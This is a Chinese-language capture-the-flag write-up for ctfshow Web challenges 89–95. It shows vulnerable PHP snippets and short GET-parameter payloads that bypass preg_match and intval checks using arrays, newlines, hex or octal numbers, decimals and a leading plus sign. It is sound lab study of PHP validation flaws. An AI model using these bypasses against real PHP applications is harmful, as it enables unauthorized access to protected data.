ctfshow之Web入門 PHP特性 89-95
阿新 • • 發佈:2020-10-10
Web89
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if(preg_match("/[0-9]/", $num)){ die("no no no!"); } if(intval($num)){ echo $flag; } } //這裡主要是對數字進行了過濾,並且又要GET請求傳入的num變數為數字或數字串,關於preg_match()函式一個漏洞——>無法處理陣列 Paylaod:?num[]=10
Web90
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==="4476"){ die("no no no!"); } if(intval($num,0)===4476){ echo $flag; }else{ echo intval($num,0); } } //強比較+intval函式 Payload:?num=4476a(加個字母進行繞過)
Web91
show_source(__FILE__); include('flag.php'); $a=$_GET['cmd']; if(preg_match('/^php$/im', $a)){ if(preg_match('/^php$/i', $a)){ echo 'hacker'; } else{ echo $flag; } } else{ echo 'nonononono'; } //這裡有有兩個條件,第一個需要是php,第二個又不可以php,不過有個差距就是m模式,/m代表匹配多行資料,這裡可以通過%0a進行繞過Payload:?cmd=%0aphp
Web92
1 Payload:?num=0x117c 十六進位制
2. 也可以:?num=0
10574 八進位制
//這裡不能是4476,但是又要是4476,intval可以識別十六進位制和八進位制
如果 base 是 0,通過檢測 var 的格式來決定使用的進位制:
- 如果字串包括了 "0x" (或 "0X") 的字首,使用 16 進位制 (hex);否則,
- 如果字串以 "0" 開始,使用 8 進位制(octal);否則,
- 將使用 10 進位制 (decimal)
-
返回值
成功時返回 var 的 integer 值,失敗時返回 0。 空的 array 返回 0,非空的 array 返回 1。
最大的值取決於作業系統。 32 位系統最大帶符號的 integer 範圍是 -2147483648 到 2147483647。舉例,在這樣的系統上, intval('1000000000000') 會返回 2147483647。64 位系統上,最大帶符號的 integer 值是 9223372036854775807。
字串有可能返回 0,雖然取決於字串最左側的字元。
Web93
1 Payload:?num=010574
//ban掉了字母,但是可以用八進位制繞過
Web94
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==="4476"){ die("no no no!"); } if(preg_match("/[a-z]/i", $num)){ die("no no no!"); } if(!strpos($num, "0")){ die("no no no!"); } if(intval($num,0)===4476){ echo $flag; } } //不能以0開頭了,這時候可以試試小數,intval只識別整數部分 Payload:?num=4476.0001
Web95
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(preg_match("/[a-z]|\./i", $num)){ die("no no no!!"); } if(!strpos($num, "0")){ die("no no no!!!"); } if(intval($num,0)===4476){ echo $flag; } } //弱比較不可以是4476,然後是傳入引數不可以存在大小寫的26個字母和“.”,接著是不可以以0開頭,最後結束匹配時需要4476,一開始的若比較,這裡可以用010574(4476的八進位制)繞過,直接到了strpos函式這裡,這裡不能以0開頭,去看了看intval函式的發現最開頭可以如果是+還是可以識別為原數 Payload:?num=+010574
參考: